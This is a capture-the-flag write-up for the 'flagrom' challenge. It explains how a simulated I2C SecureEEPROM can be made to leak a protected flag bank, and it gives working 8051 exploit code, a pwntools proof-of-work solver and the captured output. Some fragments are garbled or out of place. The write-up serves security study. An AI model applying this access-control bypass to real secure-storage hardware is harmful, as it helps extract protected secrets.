Introduction
This 8051 board has a SecureEEPROM installed. It’s obvious the flag is stored there. Go and get it.
- flagrom: an ELF64 which is the main program,
- firmware.8051: the firmware which is compiled for an Intel 8051 microcontroller,
- firmware.c: the source code of firmware.8051,
- seeprom.sv: the hardware description (in SystemVerilog) of the SecureEEPROM.
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 55d55d?´
x = 1 ;
}
$ LD_PRELOAD=exit.so ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be?
That looks wrong. Good bye.
Wrong answer. Good bye.
What’s the length of your payload?
0
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
Clean exit.
- Get a proof of work,
- Get usercode from the user (the payload),
- Execute the firmware,
- Execute the usercode.
void main(void) {
write_flag();
secure_banks();
remove_flag();
write_welcome();
POWEROFF = 1;
}
- The flag is written in the SecureEEPROM, starting at address 64.
- The second 64-byte bank (the one with the flag) is secured against access.
- The flag is removed from the main program memory.
- The string “Hello there” is written in the SecureEEPROM, starting at address 0.
Understanding the SecureEEPROM
- A start bit (in yellow) which indicate a new transaction is about to be sent,
- Several data bits (in green), indicated with a high SCL,
- A stop bit (in yellow) which indicate the end on the transaction.
- The address constitutes the first 7 bits of the transaction (most significant bit first).
- The 8th bit indicates whether it is a read (1) or write (0) action.
- The slave acknowledges here (first byte).
- The rest is the data which is device-specific.
Start | Slave address | R/W | ACK | Data | Stop | ||||||
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | ||||
MSB | LSB | 0 = R | |||||||||
1 = W |
- The address of the memory module used to read and write data in the EEPROM,
- The address of the security module used to secure EEPROM data banks.
- i2c_scl_state keeps track of the state of the SCL wire. It may be stable high, stable low or on a rising or falling edge.
- i2c_start and i2c_stop are set whenever a start or stop bit is sent on the bus.
- The SecureEEPROM start in the state I2C_IDLE where it waits for a start bit to be received.
- After the start bit, it reads the first control byte to get the slave address (control_prefix) to perform the right actions.
- When the recipient is the security module, the bank index is contained in the least four significant bits of the control. It is directly secured and the SecureEEPROM returns in the I2C_IDLE state.
- When the recipient is the EEPROM module, the action depends on the R/W bit of the control byte:
- For write action, the EEPROM first read an address before writing into memory.
- For read action, the EEPROM need to have already an address loaded before sending bytes of its memory. To read the EEPROM from the user program, one should
- Start a write transaction to the EEPROM module and load the address,
- Start a new read transaction to the EEPROM module without a stop bit,
- Read the required number of bytes,
- Send a stop bit to end the transaction.
- In any state, the reception of a stop bit will clear the loaded address and transition to the I2C_IDLE state.
- In any state, the reception of a start bit will transition to the I2C_START state without clearing the loaded address.
Reading secured areas
Finding the vulnerability
- When an address is loaded, if the pointed memory location is secured, the address is tainted as invalid (i2c_address_valid = 0),
- After each read or write action, the loaded address is increased only if the security of the next address is the same as the security of the current address.
- When a bank is secured, the loaded address is not checked nor invalidated.
- We cannot send any stop bit otherwise the loaded address would be invalidated.
- However, we can use the start bit to start a new transaction while keeping the address loaded.
With this in mind, a path of three transactions can be found to read secured areaFirst load an address in the first unprotected bank and end with a start bit:
Exploitation from a user code
void seeprom_write_byte(unsigned char addr, unsigned char value) {
seeprom_wait_until_idle();
I2C_ADDR = SEEPROM_I2C_ADDR_MEMORY;
I2C_LENGTH = 2;
I2C_ERROR_CODE = 0;
I2C_DATA[0] = addr;
I2C_DATA[1] = value;
I2C_RW_MASK = 0b00; // 2x Write Byte
I2C_STATE = 1;
seeprom_wait_until_idle();
}
__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;
unsigned char i2c_write_byte(unsigned char send_start,
unsigned char send_stop,
unsigned char byte);
unsigned char i2c_read_byte(unsigned char send_stop);
#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1)
#define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0)
void main(void) {
int i;
print(“start user program\n”);
/* Load address 0 */
i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_WRIT);
i2c_write_byte(0, 0, 0);
/* Secure all banks */
i2c_write_byte(1, 0, SEEPROM_I2C_ADDR_SECURE | 0b1111);
/* Read 255 bytes of memory */
i2c_write_byte(1, 0, SEEPROM_I2C_CTRL_READ);
for (i=0; i<255; i++) {
if (i%64 == 0) {
print(“\n”);
}
CHAROUT = i2c_read_byte(0);
}
print(“\n”);
POWEROFF = 1;
}
$ { echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=../solve/exit.so ./flagrom
What’s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4?
That looks wrong. Good bye.
Wrong answer. Good bye.
What’s the length of your payload?
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
start user program
Hello there.
On the real server the flag is loaded here.
Clean exit.
Exploiting the remote service
Completing the proof of work
from pwn import *
io = remote(‘flagrom.ctfcompetition.com’, 1337)
ask = io.recvuntil(‘\n’).split()
start, md5 = ask[11], ask[16][:-1]
print “Proof of work with:”
print ” start = %s” % start
print ” md5 = %s” % md5
while True:
r = random.random()
s = start + str(r)
if hashlib.md5(s).hexdigest().startswith(md5):
print “Found %s” % s
break
Retrieving the flag
$ python exploit.py remote hack.c
[+] Starting local process ‘./flagrom’: pid 7333
Sending payload
Received data
———————————-
[+] Receiving all data: Done (467B)
[*] Process ‘./flagrom’ stopped with exit code 0 (pid 7333)
Executing firmware…
[FW] Writing flag to SecureEEPROM……………DONE
[FW] Securing SecureEEPROM flag banks………..DONE
[FW] Removing flag from 8051 memory………….DONE
[FW] Writing welcome message to SecureEEPROM….DONE
Executing usercode…
start user program
Hello there
CTF{flagrom-and-on-and-on}
Clean exit.